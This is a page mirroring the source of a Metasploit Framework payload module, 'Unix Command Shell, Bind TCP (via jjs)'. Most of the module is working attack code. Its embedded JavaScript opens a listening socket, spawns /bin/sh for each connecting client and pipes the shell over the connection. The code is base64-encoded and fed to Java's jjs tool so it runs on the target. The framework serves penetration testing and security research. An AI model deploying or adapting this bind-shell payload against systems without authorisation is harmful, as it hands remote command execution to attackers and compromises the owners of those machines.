CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/cmd/unix/bind_jjs.rb
Views: 11780
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = 795
10
11
include Msf::Payload::Single
12
include Msf::Sessions::CommandShellOptions
13
14
def initialize(info = {})
15
super(merge_info(info,
16
'Name' => 'Unix Command Shell, Bind TCP (via jjs)',
17
'Description' => 'Listen for a connection and spawn a command shell via jjs',
18
'Author' => [
19
'conerpirate', # jjs bind shell
20
'bcoles' # metasploit
21
],
22
'References' => [
23
['URL', 'https://gtfobins.github.io/gtfobins/jjs/'],
24
['URL', 'https://cornerpirate.com/2018/08/17/java-gives-a-shell-for-everything/'],
25
['URL', 'https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html'],
26
],
27
'License' => MSF_LICENSE,
28
'Platform' => 'unix',
29
'Arch' => ARCH_CMD,
30
'Handler' => Msf::Handler::BindTcp,
31
'Session' => Msf::Sessions::CommandShell,
32
'PayloadType' => 'cmd',
33
'RequiredCmd' => 'jjs',
34
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
35
))
36
register_options(
37
[
38
OptString.new('SHELL', [ true, 'The shell to execute', '/bin/sh' ])
39
]
40
)
41
register_advanced_options(
42
[
43
OptString.new('JJSPath', [true, 'The path to the JJS executable', 'jjs'])
44
]
45
)
46
end
47
48
def generate(_opts = {})
49
return super + command_string
50
end
51
52
def command_string
53
jcode = %Q{
54
var ss=new java.net.ServerSocket(#{datastore['LPORT']});
55
while(true){
56
var s=ss.accept();
57
var p=new java.lang.ProcessBuilder("#{datastore['SHELL']}").redirectErrorStream(true).start();
58
var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
59
var po=p.getOutputStream(),so=s.getOutputStream();
60
while(!s.isClosed()){
61
while(pi.available()>0)so.write(pi.read());
62
while(pe.available()>0)so.write(pe.read());
63
while(si.available()>0)po.write(si.read());
64
so.flush();
65
po.flush();
66
java.lang.Thread.sleep(50);
67
try{p.exitValue();break;}catch(e){}
68
};
69
p.destroy();s.close();ss.close();
70
}
71
}
72
73
minified = jcode.split("\n").map(&:lstrip).join
74
75
%Q{echo "eval(new java.lang.String(java.util.Base64.decoder.decode('#{Rex::Text.encode_base64(minified)}')));"|#{datastore['JJSPath']}}
76
end
77
end
78
79